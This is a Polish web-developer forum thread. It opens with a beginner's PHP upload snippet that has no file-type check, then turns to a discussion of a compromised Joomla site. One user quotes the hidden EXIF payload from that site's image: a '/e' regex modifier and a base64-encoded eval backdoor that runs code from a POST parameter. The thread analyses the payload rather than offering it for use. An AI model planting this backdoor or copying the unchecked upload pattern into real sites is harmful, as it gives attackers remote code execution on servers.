[jaskowice1]

Mam pytanie chce dodać załączniki tylko z formatem .pdf, .doc, .docx - jak dodać do tego kodu takie warunki ?

$tmpname = $FILES["plik"]["tmpname"];

$name = 'pliki/'.$FILES["plik"]["name"];

moveuploadedfile($tmp_name, $name);

$mail->AddAttachment($name);

#webdev #phpmailer #php #backend

[p.....3]

@fotexxx: czyli jednak, albo miałeś tam znajomego :) Lepiej uważaj na chwalenie się takimi rzeczami bo można nieźle po uszach dostać.

[jaskowice1]

@piokom123: @fotexxx: dzięki za pomoc w rozwiązaniu problemu fotkowicze :D dalej mi nie działa :c #poczatkujacywebdev

[D.....k]

@piokom123:

@fotexxx: miałem kiedyś podmieniony plik na serwerze (tło strony), gdzie w danych exif (model aparatu?) był eval który odpalał jakiś syf... także tego, to działa

[f.....x]

@piokom123: w życiu by się nie przyznali do tego zajścia :D

[p.....3]

@Dreszczyk: eval w jakim języku? Poza tym bez pobrania i wyświetlenia tych danych nic się nie stanie, bo przy wczytywaniu strony są ignorowane.

@jaskowice1: może zacznij od czegoś prostszego, np. nauki opisywania problemów ;) Co nie działa i w jaki sposób? Naprawiłeś trzy błędy, które wymieniłem wcześniej?

[D.....k]

eval w jakim języku

@piokom123: w pehapie

[D.....k]

@piokom123: nie wiem czy ten kod się wykonywał, ale problem był taki, że domena została przez to dodana na blacklisty, bo antywirus to wykrywał

[p.....3]

@Dreszczyk: to nie ma szans na wykonanie kodu jeśli nie przejdzie przez interpreter po stronie serwera, a tam exif musiałby być ręcznie wczytany i do tego musiałby jeszcze być specjalnie przepuszczony przez interpreter. Masz gdzieś ten plik jeszcze?

[D.....k]

@piokom123: .....

.....


mam....

[p.....3]

@Dreszczyk: podziel się ;>

[D.....k]

@piokom123: #!$%@? tam, raz się żyje, wrzucę tu, zobaczymy czy exify zostaną ( ͡° ͜ʖ ͡°)

[D.....k]

(nie zostają)

[D.....k]

dobra, to przepisze:

w Producent aparatu jest to:

/.*/e

W model jest to:

eval(base64_decode('aWEgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

Czyli wykonywanie GET['zz1']

@piokom123:

[p.....3]

@Dreszczyk:

$_POST['zz1']

;)

Ciekaw jestem czy jest jakiś sposób, żeby to zadziałało. Innej opcji jak wrzucenie całości jeszcze raz w

eval

nie widzę, bo nawet po wczytaniu tego i wyświetleniu na stronie user zobaczy zwykły tekst.

[D.....k]

@piokom123: jakiś sposób ktoś chyba znalazł, bo śledząc logi to ten plik zmienił się pierwszy, potem wgrany został jakiś filemanager z prawami admina (?? tzn tylko tyle wywnioskowałem, nie jestem specem) i potem zmienionych kilka plików... ale to była jakaś stara joomla

[p.....3]

@Dreszczyk: aa, jak stara Joomla (1.5?) to niekoniecznie przez ten plik przeszło. Ale kurde mam teraz zagadkę.. Będę musiał wykminić sposób na wykonanie tego kodu.. :D

[D.....k]

to niekoniecznie przez ten plik przeszło. Ale kurde mam teraz zagadkę.. Będę musiał wykminić sposób na wykonanie tego kodu.. :D

@piokom123: od tego się zaczęło, ten plik był zmodyfikowany pierwszy - sama strona nie była aktualizowana od 2-3 lat i nagle ten plik

[D.....k]

@piokom123: http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/

[p.....3]

@Dreszczyk: nawet nie wiem jak to skomentować.. :D To jest tak głupi błąd, że aż o nim nie pomyślałem. Dzięki! :D

[D.....k]

@piokom123: polecam też komentarze, tam jakiś polak zauważa kilka istotnych kwestii